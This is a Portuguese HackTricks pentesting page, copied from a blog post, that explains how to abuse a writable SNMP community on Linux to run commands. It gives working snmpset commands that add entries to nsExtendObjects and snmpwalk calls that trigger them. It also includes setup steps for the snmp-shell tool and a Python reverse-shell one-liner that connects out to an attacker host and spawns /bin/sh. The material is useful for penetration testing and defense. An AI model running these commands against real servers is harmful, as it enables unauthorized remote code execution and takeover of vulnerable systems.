4.7 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Este post foi copiado de https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/
O SNMP às vezes é negligenciado pelo administrador do dispositivo ou servidor onde é deixado em uma configuração padrão. A comunidade SNMP com permissões de gravação (rwcommunity) no sistema operacional Linux pode ser abusada para permitir que o atacante execute um comando no servidor.
Estendendo os serviços
Embora você não possa modificar as entradas existentes que foram configuradas em snmpd.conf, é possível adicionar comandos adicionais por SNMP, porque a configuração de permissão "MAX-ACCESS" na definição MIB é definida como "read-create".
Adicionar um novo comando basicamente funciona anexando uma linha adicional à tabela "nsExtendObjects".
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Injetando um comando para ser executado no serviço SNMP. O NET-SNMP-EXTEND-MIB requer que você sempre forneça o caminho absoluto para o executável. O binário/script chamado também deve existir e ser executável.
Executando o comando que injetamos no SNMP enumerando-o usando snmpwalk.
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Mostrando que o comando é /bin/echo.
O comando será executado quando for lido. run-on-read()
O comando /bin/echo "hello rio is here" foi executado durante a leitura do snmpwalk
Obtendo o Shell do Net-SNMP Extend
Nesta seção, gostaria de discutir como obter um shell do servidor para controlá-lo.
Você pode usar o script python desenvolvido por mxrch que pode ser baixado em https://github.com/mxrch/snmp-shell.git
Você pode instalar o pré-requisito para executar isso:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Criando shell reverso
Você também pode criar um shell reverso manualmente injetando o comando abaixo no SNMP.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Execute o snmpwalk para acionar a execução do comando.
Nosso netcat recebe a conexão reversa do shell do alvo que nos permite obter controle sobre a máquina do alvo.